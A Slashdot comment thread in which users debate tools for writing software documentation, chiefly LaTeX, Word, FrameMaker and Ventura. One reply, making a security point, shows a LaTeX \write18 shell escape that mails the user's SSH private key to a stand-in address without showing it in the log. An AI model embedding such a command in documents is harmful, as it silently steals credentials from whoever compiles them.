    I like to see easy, simple, routinely formatted documentation when I go to use and/or test software. As a software tester, unfortunately, I have to read through all kinds of documentation all the time to get my job done. It's a core requirement of my job. 'man' pages on Linux are simple. They're always formatted relatively the same. Information is all contained within that 80 character console screen space, and no fancy highlighting and other annoying things to distract you.

    I say use vi to write up your documentation with liberal useage of tabs and blank space, then add HTML tags to the simple text file with a program like Quanta+ or other HTML program that allows manual editing of html tags along with the ability to preview your work and simplify annoying things (like closing those tags). ;)

  99. Some things I used to use... by Uttles · · Score: 2

    I like this program called Note Tab for windows. It's downloadable fom shareware.com in a free lite version. It's really quick and easy, but powerful for text editing.

    Nothing beats BBEdit though, nothing. It's only for Macs, which is killing me since I haven't bought a Mac lately.

    --

    ~ now you know
    1. Re:Some things I used to use... by yndrd · · Score: 1

      Yes, indeed. I don't use them as much anymore, but the handy libraries of HTML and other text tags and commands are really nice.

      The full version is only $19.95 and has all sorts of other text finagling goodies.

  100. HeaderDoc by soft_guy · · Score: 1

    Apple has a thing called HeaderDoc which is another one of these systems that reads your header files and generates HTML documentation. HeaderDoc requires that you enter some tagged info as comments in the headers. It is implemented as a set of Perl scripts. Apple is using it on many of their open source projects (Darwin, etc.)

    --
    Avoid Missing Ball for High Score
  101. What do you expect? by Anonymous Coward · · Score: 0

    twms2h: get a clue and run MS Word under Windows, not WINE or some half-done emaulator. It doesn't crash then.

  102. AuthorIT by yndrd · · Score: 1

    This may or may not be entirely useful, but I've found that AuthorIT works well for generating multiple documents from the same source text. It stores the information in a database and generates other formats on command (HTML, HTML Help, Java Help, WinHelp, Word docs). As far as I know, it doesn't natively create PDF files, but the Word files are print-ready, and you can always convert them.

    The product is designed for user documentation, but the features can work well with anything you want to create once and generate many times. You can reuse text, graphics, links, etc. A pretty elegant solution.

  103. Re:PEBKAC... Agreed. by simetra · · Score: 1

    I use MSWord all the time, and have for years. I don't recall it ever crashing without good reason. This is typically because of tsr's.
    Plus, it's fairly easy to hit ctrl-S every so often to save as you go, on the off-chance it does crap out.

    --

    "Would it kill you to put down the toilet seat?" -- Maya Angelou
  104. Another vote for LaTeX here by Anonymous+Brave+Guy · · Score: 5, Insightful

    Put me down for LaTeX as well, please. In its favour (in this particular context)...

    1. It takes input in a text format. Use CVS, your favourite editor, etc.
    2. It also produces excellent quality output, and generating HTML, PostScript and PDF output are all straightforward with standard tools.
    3. It can generate things like cross-references, tables of contents and citations very easily.
    4. There are good packages available for free that can typeset code right out of the source file.
    5. There are freely available and very powerful diagramming tools that plug right in. (Anyone know of a speciality UML drawing package, BTW? The usual tools are OK, but I've never found, say, some Metapost macros to make it completely trivial the way it could be. Surely someone must have written some!)
    6. The maths typesetting is all there if you need it, of course. That's very useful if you're working on a scientific app and need to document the algorithms as part of the design, and it doesn't get in the way if you don't need it.
    7. It's available for minimal money and effort.
    8. It's highly extensible. If you need to do something that doesn't come as standard, you almost certainly can (and someone else almost certainly already has, and put it on CTAN for you).

    The only downside I can think of is the learning curve. Basic LaTeX use is fine, but for really good output, you're going to want your own class file and/or packages. That's fantastic once you've got it -- all your docs follow a consistent style, and you can make it easy for newbies to learn the tool. Someone has to be pretty sharp to write the class/packages in the first place, though, or you have to be prepared to buy in expert help for a couple of days.

    --
    If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
    1. Re:Another vote for LaTeX here by Linuxathome · · Score: 1
      Yes, put me down as another devout believer of LaTeX's power. A few additional comments:


      There are freely available and very powerful diagramming tools

      Yes, try xfig it's the best one I've played around with yet. On top of this, download pstoedit to convert your postscript files/drawings to xfig format (or a multitude of other formats for that matter) and then use xfig to modify it more if you want. Xfig takes some time to get used to (not very intuitive), but if you need to work with vector graphics, I haven't come across any better in linux.


      The only downside I can think of is the learning curve.

      True. However, I bought Helmut Kopka and Patrick Daly's "A Guide to LaTeX" and have found it to be an invaluable source. Couple this book to help you get started and all the resources on the net (searchable by google, of course) and you'll find yourself starting in no time.


      There's a lure in having a program that is able to deal with all the typesetting nightmares and all you really have to worry about, after learning how to write LaTeX documents, is your content.

  105. Why documentation never ends by qurob · · Score: 1


    I can't remember where I read this, it may have been in the Allegro documentation.

    All good things must come to an end. Unfortunately, documentation isn't a good thing

    Pretty much sums it up, don't you think?

    Chicken in a Biskit!

  106. Re:LEO, Donald Knuth & Literate Programming by BlowChunx · · Score: 1

    Mod this up!!!

    Using the commands 'tangle' and 'weave' (try a 'man tangle' on your favorite linux boxen...), you can generate both HTML and LaTeX output. The markup can be done in either format. It can create an index of variables. In short, this is what you should be using.

    Word my ass....

  107. Ten Reasons Why TeX/LaTeX is Better than Word by klund · · Score: 5, Insightful
    1. LaTeX math mode is a thing of beauty. Equations come out looking correct. Mathematical expressions in Word are treated as an afterthought. Equation editor is evil.
    2. TeX is guaranteed to be bug free. The author, Stanford Professor Donald Knuth, will send you a reward check is you find a bug. The reward is currently $327.68 (that is, 2^15 cents).
    3. TeX is free (as in beer) and free (as in speech).
    4. TeX has real comments. Anyone who doesn't comment their code is an ass.
    5. TeX provides a full, turing-complete, language. The text produced by your input file can be the result of conditionals (which I use to reuse sections in different documents) or the result of complicated calculations. In the TeXbook, Knuth demonstrates the power of the TeX language by defining the \primes{n} command, which calculates and print the first n primes (see page 218).
    6. There are no LaTeX "macro" viruses. You can safely receive LaTeX documents by email and not worry about it reading your OutLook address book and mailing copies of itself to all your friends.
    7. LaTeX has no GUID (Globally Unique Identifier). Word documents are embedded with a code than can be traced back to your computer (the police captued the author of the Melissa virus by tracing his GUID). Big brother Bill is watching!
    8. LaTeX versions are not incompatible. The file format has never changed. I have LaTeX files from 1989 that work without problem in the latest version of LaTeX.
    9. There is no undo feature in TeX. This is a good thing. No one can ever seen earlier versions of your TeX document by pressing the Undo button.
    10. LaTeX documents are small and lean. What's the smallest Word file on your computer?
    --
    My word processor was written by Stanford Professor Donald Knuth. Who wrote yours?
    1. Re:Ten Reasons Why TeX/LaTeX is Better than Word by _DMan_ · · Score: 1

      Also, if your LaTeX editor keeps crashing, just change editors - it's just ASCII text after all.

    2. Re:Ten Reasons Why TeX/LaTeX is Better than Word by Anonymous Coward · · Score: 0

      also:

      * Latex is kinda hard to learn from scarch. i tried using Lyx for a while and it took about twice the time compared to word. after about the 3rd or 4th document i wrote on it i was pretty good at it though. the results are beautiful

      * Latex/Tex is very professional looking. most scientific papers are in Latex.

      * the only serious disadvantage to LaTex is that Word is more or less incompatible (you can import much of your LaTex formatting into word by converting to RTF! thus you can share your stuff with your microsoft-centric officemates)

    3. Re:Ten Reasons Why TeX/LaTeX is Better than Word by Anonymous Coward · · Score: 0

      6.There are no LaTeX "macro" viruses. You can safely receive LaTeX documents by email and not worry about it reading your OutLook address book and mailing copies of itself to all your friends.

      Well, it is possible to escape to the shell from (La)TeX document, by having

      \write18{<shell_command>}

      So in principle, it's posible to do something really harmful from within a (La)TeX document, like say:

      \write18{mail evil.genious@better.tomorrow < .ssh/identity}

      and you'll nwever know, since the shell command and it's output is not echoed to the terminal or log file.


      However, pre default, this feature is turned off. See also section 4.1 of the Web2c manual

    4. Re:Ten Reasons Why TeX/LaTeX is Better than Word by Yarn · · Score: 2

      11. dvipdfm is your new god
      12. proper ligatures!
      13. doesn't loose bits of your document without huge amounts of encouragements

      But, there are places where I don't like it. I think it needs a pre-processor or something. My problem:

      \def\begeq{\begin{equation}}
      \def\endeq{\end{equation}}

      ...

      \beq
      \frac{foo}{bar}
      \eeq

      ...

      ! LaTeX Error: \begin{equation} on input line 54 ended by \end{document}.

      Now, I'm (obviously) not an expert, but I've not found a way round this. I get fed up with typing full commands out.

      Oh, and I tried making a document style once and now my brain is damaged.

      --
      -Yarn - Rio Karma: Excellent
    5. Re:Ten Reasons Why TeX/LaTeX is Better than Word by Anonymous Coward · · Score: 0

      TeX provides a full, turing-complete, language
      Uh, so does the C precompiler, if you unroll your loops a little. In other words, that's not saying much.

    6. Re:Ten Reasons Why TeX/LaTeX is Better than Word by Carter+Butts · · Score: 1
      For whatever it's worth, I'll add my name to the pro-LaTeX chorus, at least as far as formalized writing goes. I was an avid Word user for years -- and have prepared fairly complex, book-length documents using it -- but my Master's thesis finally pushed me over the edge. Since switching to LaTeX, I have found that my papers are easier to prepare, better looking, less subject to being scrambled (which was actually a major problem for me under Word...different Word versions tended to have issues with the various embedded objects in the text), are more easily modified for different journals' requirements (a task which used to be very difficult under Word), and take up less space. Formatting my Doctoral thesis was almost laughably easy, and there's no risk that the size of the document will cause the interpreter to explode (unlike Word).


      Of course, there are still a few caveats. The first is that most of my writing these days is professional....thus, the automagic typesetting features of LaTeX are working for me, not against me. The second is that there has been something of a learning curve involved. I don't know about other users, but it took me a week or so to get up to speed with the basics, and I'm still (two to three years later) picking up tricks. (Note that I've been figuring things out as I go...if I'd had someone to show me how to get started, this would have taken only a fraction of the time.)


      Anyway, having used both Word and LaTeX intensively for large, complex documents, I can unequivocally recommend the latter for serious projects. LaTeX has greatly increased my own productivity, and any urge I might have had to switch back has been stifled by watching my peers struggle continually with Word-based problems. :-)


      -Carter

    7. Re:Ten Reasons Why TeX/LaTeX is Better than Word by matsukio · · Score: 2, Informative

      I realize this is a bit off topic, so I apologize in advance.

      From the \begin{equation} and \end{equation} macros, I'm guessing that you're using LaTeX. If I'm right (and you feel a need to define abbreviations for these two macros instead of using them as-is), you might try \newcommand{...} instead of \def. Of course, if you don't need the numbering, \[ and \] are acceptible shortcuts (if you do need the numbering, you could always check into renewing \[ and \]).

    8. Re:Ten Reasons Why TeX/LaTeX is Better than Word by CatherineCornelius · · Score: 3, Funny
      There are no LaTeX "macro" viruses.

      Unless you count the liveware virus that makes you want to escape every period\. I'd call that pretty macro\.

    9. Re:Ten Reasons Why TeX/LaTeX is Better than Word by Anonymous Coward · · Score: 0

      Bill Joy wrote my word processor.

    10. Re:Ten Reasons Why TeX/LaTeX is Better than Word by rasilon · · Score: 1

      Unless you count the liveware virus that makes you want to escape every period\. I'd call that pretty macro\.

      I hope they get the virus definitions sorted for that soon, I've got a similar one from vi.

      ^[:wq

    11. Re:Ten Reasons Why TeX/LaTeX is Better than Word by Dekel · · Score: 1
      \def\begeq{\begin{equation}}
      \def\endeq{\end{equation}}

      \beq
      \frac{foo}{bar}
      \eeq
      Perhaps the problem is that you defined \begeq and \endeq macros, but then you used \beq and \eeq ?
    12. Re:Ten Reasons Why TeX/LaTeX is Better than Word by Yarn · · Score: 2

      Heh, that was copied part way through me wondering if \beq had been defined already and changing it to \begeq

      It still failed with \beq used throughout, and with \begeq.

      --
      -Yarn - Rio Karma: Excellent
    13. Re:Ten Reasons Why TeX/LaTeX is Better than Word by jschrod · · Score: 1
      There are no LaTeX "macro" viruses.

      Unless you count the liveware virus that makes you want to escape every period\. I'd call that pretty macro\.

      That virus is old. Luckily, there is a cure. \frenchspacing
      --

      Joachim

      People don't write Manifestos any more -- what's going on in this world? [Frank Zappa]

    14. Re:Ten Reasons Why TeX/LaTeX is Better than Word by Anonymous Coward · · Score: 0

      LaTeX has no GUID (Globally Unique Identifier). Word documents are embedded with a code than can be traced back to your computer (the police captued the author of the Melissa virus by tracing his GUID). Big brother Bill is watching!

      That's funny! Since the original word macro virus for Word 6.0 originated from M$, it could be traced back to them. I wonder if they could be legally prosecuted.

    15. Re:Ten Reasons Why TeX/LaTeX is Better than Word by Dekel · · Score: 1

      I just checked and it DOES work.
      Anyway, there are lots of other ways to define a shortcut.
      E.g.

      \let\beq=\equation
      \let\eeq=\endequation

      or

      \newcommand{\eqn}[1]{\begin{equation}#1\end{equa ti on}}

      You can also program your editor to to create a short key sequence that inserts \begin{equation}..\end{equation}

  108. Re: documentation by DRO0 · · Score: 1

    In addition to cafeteria napkins, I occasionally document with the computer too!

    MS Word (2000)--I also have problems with Word as it's very sluggish when I first open it as in like clicking a simple menu item causes Word to freeze for 2 minutes. But unfortunately it's the common corporate denominator.

    TextPad (WinDos)--I like this one for coding too, back when I occasionally tried my hand at a little Java. Simple and lightweight, but with enough features to get by.

    AbiWord--Use this one a lot at home but to tell you the truth I don't convert to/from a lot of Word docs.

    StarOffice--So far I like the 6.0 beta, and from my limited experience it converts to/from Word pretty well. 6.0 is wayyyyy faster than 5.2 but it's still not like opening Abiword.

    (X)emacs--Don't use it, but I'm curious to hear other opinions. I'm sure there's quite a few ppl who use it.

  109. Word and CVS is possible. by matt[0] · · Score: 1

    You just have to add it to your binary files list, (cvs checkout CVSROOT), or something like:

    cvs add -kb mydoc.doc

    Man pages are great sources of information :-)

    --
    --------- Matt
  110. Re:HTML by ChristTrekker · · Score: 5, Interesting

    You missed one of the nicest features of using HTML/XML for documention: the fact that with CSS you can get basic content transformation.

    What does it mean? It means that you can have rules for online display (that we're most familiar with), different style rules that kick in only when you print (implemented in Mozilla and Opera), and different rules only when you are projecting a presentation (implemented in Opera). This lets you make it accessible on the WWW, yet write your documentation only once without futzing with a nicer "print friendly" copy. If you do a presentation, you can point your audience to the very URL you're using for their later reference. Less chance for confusion.

  111. LaTeX + Ktexmaker2 by Framboise · · Score: 1

    I have used TeX since 1985, have switched to LaTeX in between. The initial investment to learn the syntax has largely paid off. All my letters, documents, articles written since then can be accessed with a couple of commands.

    Recently I have discovered Ktexmaker2 (http://xm1.net.free.fr/linux/) that runs on KDE. Ktexmakers is an extremely clean GUI for LaTeX (made by a mathematician btw), to be warmly recommended for beginners because it provides the most used LaTeX commands with traditional menus and mouse strokes.

    One of the most important advantage of TeX is to be *not* WYSIWIG. Indeed when composing a text one should concentrate on the content, not be distracted with formatting and typesetting details. Contrary to LyX, Ktexmaker2 respects this. The typesetting is produced only on demand by a mouse click.

  112. AbiWord by Anonymous Coward · · Score: 0

    I haven't gone crazy with it yet, but I am extremely impressed with AbiWord. It is of course available for Linux and Windows (since you didn't tell us which platform you are on - but I'm guessing Linux due to the references). Check it out, you may find yourself a convert!

    Sig? I don't need no stinking sig!

  113. Windows Crashing, taking Word with it. by ka9dgx · · Score: 2
    We had a problem that too me a year to figure out, it turns out the HP 4000 Laserjet Driver needs WIN87EM.DLL to figure out page layout stuff, and when word uses the printer driver, it may, or may not be available. (Reference pointer counts get hosed, or something). This causes no end of grief, as the users would get a Fatal Exception 0E and blue screen of dead (BSOD) all the time. Once I came across the cure, everyone was quite happy.

    The fix? Copy \windows\win87em.dll to an EXE file, and put a load= command in win.ini. Ths fixed ALL of our problems with Windows 95, 98, and Win98SE. We leave machines one all the time, and have a remarkably low (for windows) amount of trouble. Most workstations stay running until they are shut down. Our servers used to run for months on end, but now last the time between "Critical Updates" (AKA I can't write bounds checking software properly, so we'll fix it later) required reboots.

    The point of all this? The drivers for printers, and scanners, and almost anything can hose a system. It's not likely to actually be the application's problem.

    --Mike--

  114. Re:HTML by Faramir · · Score: 1

    You're right, I completely missed that. Someone please mod up the above post! I can't believe I've missed this feature!

  115. StarOffice by Enkur · · Score: 0

    It may not be particularly small or geared for documentation but is quite intuitive to set-up and use, and seems pretty powerful and flexible. It also outputs pretty clean HTML.

  116. Framemaker by bark76 · · Score: 1

    I've heard FrameMaker is nice (it's what my instructor suggested in the Tech Communications course I took). There's even a UNIX version (no mention of a Linux version though).

  117. Applixware / Anyware by motorsabbath · · Score: 1

    I've been using Applixware (and now Anyware) for a couple years now. It's thin, stable and full-featured and saves its files in plain text I believe. Also, it's never crashed on me. Not even once. I use it for all my docs at work, on AIX and Linux.

    HTH - JB

    --
    The heat from below can burn your eyes out
  118. My suggestion - Word Perfect!!! by NOT-2-QUICK · · Score: 1

    Perhaps we are all attempting to look too deep into the software archives to find the solution here...maybe we should look a bit more towards the obvious!!!

    My vote is for Word Perfect 6.0!!! It occupies minimal disk space, requires very few resources, and is well documented!!! :-)

    Just a thought...I mean it worked great back in the day!!!

    DISCLAIMER: If you think I am serious, YOU are the idiot - not me!!! :-)

    --
    Beer is proof that God loves us and wants us to be happy. -- Benjamin Franklin
  119. tried XML? by Hooya · · Score: 1
    i've used XML:fo with pretty good results. checkout xml.apache.org and checkout the section on FOP. it's excellent for formatting text documents. you write the xml and then a stylesheet for the targeted format (pdf, html among several others.) i've even used it for quite complex (tables within tables etc.. with explicit control over page breaks ...)

    what it's good for:

    1. content independent formatting (but you knew that as soon as i mentioned xml)

    2. several popular target formats. PDFs, SVG, html...

    3. completely ASCII so you can check it in and out of CVSs all day long.

    3. platform independent. java -- standard rules apply.


    What it's not good for (in my opinion anyways)

    1. doing 'auto-documentation' ie. getting the documentation straight out from the source files. but you can overcome that with some other script that ends up with the xml input for FOP.

    2. problems with HUGE input files. it runs slow and without the -mx and -ms switches for java-runtime it almost always chokes with large files.

    all in all tho, with a good xml editor (and emacs is as good as any ;) ) FOP just can't be beat. recent versions even do bookmarks in PDFs. that's been very handy. several target formats with just a different switch and a stylesheet?!! quite impressive. check it out. it's very worth the try.

  120. FrameMaker?? by Belly+of+the+Beast · · Score: 2, Insightful

    I used to use FrameMaker until Adobe started busting engineers for making speaches. I last built an 800 page spec with FrameMaker that included timing diagrams, drawings, etc.
    Forget Word. Even with just the ASCII txt from the above document in outline above crashed it every time. FrameMaker was rock solid for the whole project with multiple authors, but I will never use allow it to be used here again after what they did to Sklyarov. Too bad, it did perform well.
    Evolve or go extinct Adobe.

    1. Re:FrameMaker?? by Anonymous Coward · · Score: 0

      Yes on FrameMaker. And yes to forgetting WORD. Frame will handle the job and leave you flexible for the future. You can output to PDF with aplomb, etc.

  121. Framemaker by Anonymous Coward · · Score: 1, Informative

    Everywhere I go, the doc writers are either using Framemaker, or switching from Word to Framemaker.

    Framemaker is the king of structured documents. And it runs under Unix, albeit Solaris or AIX or HP-UX (but it is in X Windows).

    http://www.adobe.com/products/framemaker/main.ht ml

  122. Adobe Framemaker by L-Train8 · · Score: 2

    Framemaker can handle the large documents without the weird problems of Word (losing formatting, text disappearing, crashing, etc). It can format your docs nicely for pretty printouts. And Framemaker documents nicely convert to PDF, since Adobe makes both formats.

    The downsides are that it's expensive (~$800), and it's made by the people who sicced the FBI on Dimitry Sklyarov.

    --

    Don't forget that Friday is Hawaiian shirt day.
  123. Where's the forest? What's that about a tree? by Apostata · · Score: 1


    Hands-up, everyone who thinks the documentation itself should be the focus ... not the bloody editor.

    Yeah, I thought so.

    --

    This wasn't just plain terrible, this was fancy terrible. This was terrible with raisins in it. - Dorothy Parker
  124. Should be automated out-of-box by John+Guilt · · Score: 1

    I'm irritated at the lack of auto-javadoc'ers---particularly,
    something to generate a stupid version of the
    @param's and exception documentation from the method definition.

    I've tried a few systems, but they haven't worked well; what I started doing (whilst still employed) was to create an emacs routine that would both create the stub and the javadoc....

  125. use plain text by InsaneCreator · · Score: 1

    Write a plain good old text file, looking sth like this:

    =TITLE: Title goes here
    some text here

    That would be very easy to convert to HTML using a simple script. Print that HTML file from a browser to a postscript file and you can use ghostview to convert it to PDF...

  126. Face it by Anonymous Coward · · Score: 0

    There's one reason, and one reason only that this article was posted by slashdot editors:

    "In order to avoid the torture of fighting with Microsoft Word all the time (which crashes on me regularly)"

  127. Word is horrible by coyote-san · · Score: 5, Insightful

    MS Word is about the worst tool around for writers.

    The problem is that it forces, FORCES, you to deal with presentation issues at all times. When I'm writing, I want to focus on the content. How is the material broken down into major sections, into chapters, into topics? What information needs to be presented before a new topic will make sense? What topics will be treated as reference material, needing easy lookup?

    This is hard enough to do with regular interruptions, but with text it's possible. I write an outline, DocBookify it, then write straight text within it while using minimal tags. When I'm happy with the content, I work on presentation (and usually loop between them a few times.)

    But Word is so damn helpful that I'm constantly interrupted. I mispelled a wrod or two, gotta fix it NOW. Esp. with the increasingly intrusive "autocorrection" that insists on "fixing" things. (And don't get me started on it's ideas of what a properly formed URL looks like, never mind the RFCs.) There's the issues around the Redmondian English. My grammar isn't perfect, but highly technical material often requires extremely complex sentences to adequately convey the nuances. Green lines are another distraction. Then there's the whole issue of lists, tables, indentations, etc. sucking your attention because you're forced to deal with presentation before you're entirely sure what's going into them. (Two tables or three? What drives columns, what drives rows?)

    Is it any wonder I, and many other people, find Word documents to be unusually vacuous? Not every text document in a Jon Postel RFC, of course, but there seems to be a direct correlation between the meat in a document and its original format. Straight text seem to be written to HS or college level, Word documents seem to be written to Jr High level at most. The problem is the polish - Word documents often strike me as first or second drafts, not finished documents. But they sure are pretty.

    --
    For every complex problem there is an answer that is clear, simple, and wrong. -- H L Mencken
    1. Re:Word is horrible by ChristTrekker · · Score: 2, Interesting

      I completely agree. I want to write in HTML (or some equivalent) and deal with content primarily. Style issues can be left to somebody else that has a clue how things are supposed to "look nice". (I sometimes find myself linking to the W3C Ultramarine CSS, because though I know CSS rules I don't have a sense for style.) If there were a good HTML text (not WYSIWY-won't-G) editor that felt polished (not hackish) I'd love it. Much as I like BBEdit, it's not there yet.

    2. Re:Word is horrible by RadioheadKid · · Score: 3, Informative

      Two points: you can turn all that stuff off that you are complaining about and usually that green line is pretty valid, its the user that doesn't understand the problem, like passive voice.

      --
      "Karma can only be portioned out by the cosmos." -Homer Simpson
    3. Re:Word is horrible by moore234 · · Score: 1

      BS.

      I'm not saying that WYSIWYG editors are right for all circumstances, but that arguments you raise against word are pretty much straw men. I mean, come on, I use word about once a month and I still have figured out how to turn off the autocorrection and auto grammar check (yes, they do suck, so I turned them off). Just like LaTeX and DocBook, you need to know the tool when you use it.

      As for content versus presentation, that is a valid argument, but you can choose to make a word document ugly and then go back and fix it up (I like the outline feature for getting straight to content). So, in many ways, word can be used as a plain old text editor.

      However, using word as the document master is a seriously bad idea. Have you seen the HTML it outputs? Ugh.

    4. Re:Word is horrible by dublin · · Score: 2

      I have a love-hate relationship with Word, and in many ways, I really don't like it much, but it's clear from your comments that you haven't invested the time to learn how to drive it very well.

      Word does not force you to deal with formatting issues as you compose - it's not as transparent as troff here, of course, but it can be made to present the text without much of the formatting, and can be told not to attempt things that obviously annoy you, like grammar checking and spelling autocorrection. (I agree the grammar engine is junk and doesn't understand proper sentence structure or the proper use of commas in any non-trivial sentence.)

      Word is a pain, but I've also created staggeringly complex documents in it - in fact, last year I helped a good friend prepare his dissertation, which was already partly in Word, but needed a lot of formatting work.
      Dissertation? More like a phone book, really - it's 650 pages of extremely complex text and diagrams involving some extremely complex annotated text diagrams and bizzarre fonts for ancient Hebrew (over 75 pages of this alone, annotated and color-coded to reveal complex patterns) as well as a number of strange pheonetic marks. (My friend is a brilliant and innovative linguist.)

      In addition, I recently tried to build some new marcom (ad) materials in PageMaker, but gave up in disgust after spending nearly two days wrestling with the tool. Other than the lack of a full color palette for text in Word 97 (which may be fixed in later releases), I was able to build what I wanted (which was fairly complex) in three hours in Word. The really cool thing is that this document will be usable in StarOffice when they fix the textbox bug - other than that, it imports just fine.

      Word is really a farily decent product, probably the best thing in the MS portfolio, other than Visio, which they bought...

      --
      "The future's good and the present is nothing to sneeze at." - Roblimo's last ./ post
    5. Re:Word is horrible by eMilkshake · · Score: 1

      So turn that stuff off! I don't know why technical people complain about Word's features when it simply defaults to having them enabled, and how many defaults do technical people use in everything else? ;) I see your point, but I've edited plenty in Courier w/o green & red wavies.

    6. Re:Word is horrible by dublin · · Score: 2

      Oops, posted too soon. I was going to add that although you can do complex documets in Word, doing so for documents of over a couple of dozen pages is risky, and sooner or later, espcially as your document gets longer, Word will corrupt the file, so you are forced to keep each chapter in a separate file. For this reason alone, Word is not the best choice for documentation.

      Also, there are those maddening times when the demons of Redmond take over and you just *can't* make it format things the way it should, or worse, you wind up with a document like one I have, which corrupted the Table of Contents along the way - any attempt to get word to refresh the TOC wil botch it completely, so I now have a TOC in which I have to place the page numbers manually. This takes time, but not as much as re-creating the document template or trying to fix the problem, which I've already wasted hours on.

      Word is reasonably capable in some respects, but way too flaky in others.

      --
      "The future's good and the present is nothing to sneeze at." - Roblimo's last ./ post
  128. The Best Solution by FFFish · · Score: 3, Interesting

    There are currently only two good long-document solutions:

    FrameMaker, from Adobe.

    Ventura, from Corel.

    They both have roughly equivalent functionality. FrameMaker is more accepted in the technical writing world. Ventura has a much, *much* better user interface. Ventura also has an incredible user support group. The latter two aspects put Ventura in the lead by several lengths, in my opinion. A feature comparison is available here. (Its automatic database publishing engine is worth it's weight in gold!)

    Ventura is currently in beta-testing for a next-edition release. This edition is going to include XML support, presumably integrated with SoftQuad's products. Given that WordPerfect has had good SGML support for years, I find this to be very, very exciting news.

    If you can get over any misgivings over the Corel name, you'll find that Ventura is the ultimate in long-document publishing. It's been around since 1986, and is more feature-complete than Quark, PageMaker, InDesign, and FrameMaker. And of those, FrameMaker is the only application that can be considered to be in the same class. Quark, PageMaker, and InDesign are short-document (ie. magazine advertisement layout) programs, and are absolutely horrible for use in long-document publishing.

    FrameMaker and Ventura both fully satisfy your needs. Both can take in XML/SGML. Both produce PDF. Both can create HTML. Both handle documents thousands of pages in length with thousands of images. Both kick the living shit out of MSWord!

    You only need to decide which is going to be easier to use, how much you'll want community support, which set of functionality you need, and how much you want to spend.

    My money is on Ventura.

    (It is, in fact, the only application I've ever used that I look forward to using. Every time I start it, I'm delighted!)

    (Ventura users tend to be very enthusiastic about the product. We also tend to wonder why anyone would ever use anything else: we've tried the rest, and figure this is the best. :-) )

    --

    --
    Don't like it? Respond with words, not karma.
    1. Re:The Best Solution by Anonymous Coward · · Score: 0

      That feature comparison table you provided conveniently leaves out Quark. Why? Because QuarkXPress is widely accepted to be the finest long-document publishing software on the market. Look at what *real* presses and publishers use. Look at the better and more sophisticated third-party tools - Quark seems to be the common denominator among the platforms they support, and for good reason.

    2. Re:The Best Solution by FFFish · · Score: 2
      Bullshit. Complete and utter bollox.

      For starters, the comparison table does show XPress, and shows that it's a piece of shit.

      It doesn't do tables. It has endless colour control problems. It fucks up PDFs. It doesn't do ToCs, doesn't do indexes, doesn't do equations, doesn't let you anchor graphics to text. Doesn't do bullets, doesn't do relative indents. Freaking list of what it can't do goes on and on and on.

      It would take $10,000 (that's ten thousand dollars! [see below]) in third-party extensions to gain functionality comparable to that of Ventura or FrameMaker.

      Finally, it has one of the worst user interface that's ever been foisted on users.

      Quark is a good enough application if all you're doing is laying out a magazine advertisement. But for god's sake, no sane and informed individual who is attempting to do long-document publishing would ever use it.

      Quark is definitively NOT a long-document publishing application. It simply does not have the functionality that such a task requires. Period.

      Footnote: extensions required to make Quark as functional as FM or Ventura 8.

      Quark PC-version Xtensions Quark PC-version Xtensions
      AdTracker $ 80
      AutoLink $ 60
      AutoSave $ 40
      Azalea C39 Tools $150
      Azalea I2of5 Tools $100
      Azalea PostTools $ 60
      Azalea UPC Tools $150
      Bookletizer $ 70
      BoxStyles $ 50
      BureauManager $130
      Class $ 90
      Colbut'ns $ 80
      ColorManager $150
      CopySet $130
      CropsXT $ 50
      Dashes (Hyphenation) $300
      Digital Pilot $100
      DiHyph XT (Custom Hyph.) $200
      DocLock $ 50
      EDGAR Filter $400
      File Manager $150
      FlexScale $ 60
      FlightCheck (tester) $400
      FontIncluder $100
      FourColors and One Image $ 20
      fXT (footnotes) $300
      GridMaster $ 50
      HexWeb $350
      IndeXTension $100
      INposition Lite $400
      Ishadow $100
      JobSlug $ 60
      KeepTool $ 50
      KeyFinder (cheatSheet) $ 30
      LinkWalker $ 40
      Managing Editor XT Pro $120
      MasterMenus $ 70
      MultiSpec (cut'n'paste) $100
      Navigator XT $ 70
      NotePad (Electronic Post-its) $100
      PageCopy $ 90
      PageShot $ 90
      Photoshop Import $100
      PianzHang (large Doc Mgmt) $900
      Picture Manager $200
      PM-Q XT (PMkr 5-6.5 -> QXP) $100
      PowerBalance $ 70
      PowerRules $ 70
      Printer's Spreads $180
      PrintGrabber XT $ 70
      PrintShop Mail (mail merge) $400
      Quark Design $ 35
      QuarkImmedia (multiMedia) $995
      QuarkXpress $995
      QuarkXpressPassport $1495
      Multi-language doc creation
      QXPress Visual Quickstart $ 30
      Resize XT $100
      Sydney XT (filing system) $300
      Sonar Bookends (index) $200
      Sonar TOC $100
      Spellbound (spellChecker) $200
      Story Editor $165
      TakeNote (stickyNotes) $ 60
      TB Grids $150
      TeXTractor (export filters) $150
      Tiff Export $100
      TimeStamp $ 50
      Vision Contents (TOC) $150
      vjXT (vertical justification) $150
      Web-Ready Art $165
      Windows Design Collection $100
      Windows Text collection $100
      Xnudge $ 30
      Xspec $100
      Xdata $300
      Xtags $200
      York's XTable $300
      York's Xmath $400
      Zoom Tool $ 40
      ____________________________________
      All PC Xtensions plus
      QuarkXPress $12,845
      or QuarkXPress Passport $13,345

      --

      --
      Don't like it? Respond with words, not karma.
  129. POD. by Anonymous Coward · · Score: 0

    Larry and Tom wrote Programming Perl in POD. Seriously. Some lowly schmuck ran it through a POD->LaTeX thing, and right off to the press it went. I read it in the back notice on production, and didn't notice anything funky about the text up until then.

    Python ain't got nothin'.

  130. For a real-world example... by devphil · · Score: 5, Informative


    We're using Doxygen to generate HTML and man pages (!) for libstdc++-v3, the standard C++ library that comes with g++ 3.x. Doxygen can also generate LaTeX, RTF/Word, and some other formats which I don't remember. If you have some additional nifty utilities installed, and tell Doxygen where they are, then Doxygen can automatically use them. Take a look at the inheritence and collaboration graphs on the pages I linked to: normally they're much plainer, and not color-coded. But I had dot(1) installed, which can generate pretty graphs.

    Incidentally, LaTeX is much better than TeX when doing letters. There's a set of macros specifically for writing letters, and I use them all the time for, say, business letters.

    .

    I'm told that it's not that hard to write a module for Doxygen to teach it how to create a new output format, if the half-dozen it knows about don't fit your needs.

    --
    You cannot apply a technological solution to a sociological problem. (Edwards' Law)
  131. roff by PotatoMan · · Score: 2, Insightful
    For most documentation, I like either texinfo or *roff. Both will convert to either HTML or Postscript. Texinfo gives you Info docs as well, and does a better HTML conversion.


    For simpler documents, roff works just fine. And it follows the Unix philosophy, so you get pic, tbl, and eqn for special-purpose formatting.


